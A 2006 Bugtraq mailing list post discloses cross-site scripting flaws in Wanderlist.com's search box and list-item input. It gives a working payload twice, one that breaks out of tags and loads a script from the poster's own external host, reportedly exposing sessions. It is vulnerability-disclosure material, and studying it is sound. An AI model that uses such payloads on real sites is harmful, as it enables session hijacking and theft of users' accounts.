Bugtraq mailing list archives
Wanderlist.com - XSS vuln with sessions disclosure
From: luny () youfucktard com
Date: 11 Jun 2006 23:50:42 -0000
Wanderlist.com Homepage: http://www.wanderlist.com search.cgi Search box input adding a item to a list Search.cgi XSS vuln with sessions disclosure: By putting a few ending opening tags with quotes beforeand after,we are able create a XSS example: ">">">'<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><""><'<" Screenshots: http://www.youfucktard.com/xsp/wander1.jpg http://www.youfucktard.com/xsp/wander2.jpg --------------------- Adding item to a list XSS vuln with sessions disclosure: In the New list item input box put: ">">">'<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><""><'<" Screenshots: http://www.youfucktard.com/xsp/wander3.jpg http://www.youfucktard.com/xsp/wander4.jpg http://www.youfucktard.com/xsp/wander5.jpg
Current thread:
- Wanderlist.com - XSS vuln with sessions disclosure luny (Jun 12)